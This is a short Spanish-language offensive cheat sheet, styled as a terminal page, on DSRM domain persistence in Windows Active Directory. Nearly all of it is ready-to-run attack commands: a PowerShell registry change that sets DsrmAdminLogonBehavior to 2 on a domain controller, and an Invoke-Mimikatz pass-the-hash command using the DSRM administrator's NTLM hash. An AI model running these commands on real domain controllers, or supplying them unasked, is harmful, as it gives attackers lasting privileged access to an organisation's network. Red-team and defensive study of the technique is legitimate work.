[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/dsrm
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd dsrm/█

DSRM

techniquepersistenciawindows← índice
Advertencia

Requiere acceso de Domain Admin al DC; modifica el registro del controlador para permitir el login con la cuenta DSRM.

Invoke-Mimikatz

En una sesión remota de PowerShell en el DC, habilitar el login del administrador usando DSRM:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

Pass-the-Hash usando el DSRM del DA:

Invoke-Mimi -Command '"sekurlsa::pth /domain:<DC_MACHINE_NAME> /user:Administrator /ntlm:<ADMIN_DSRM_HASH_NTLM> /run:powershell.exe"'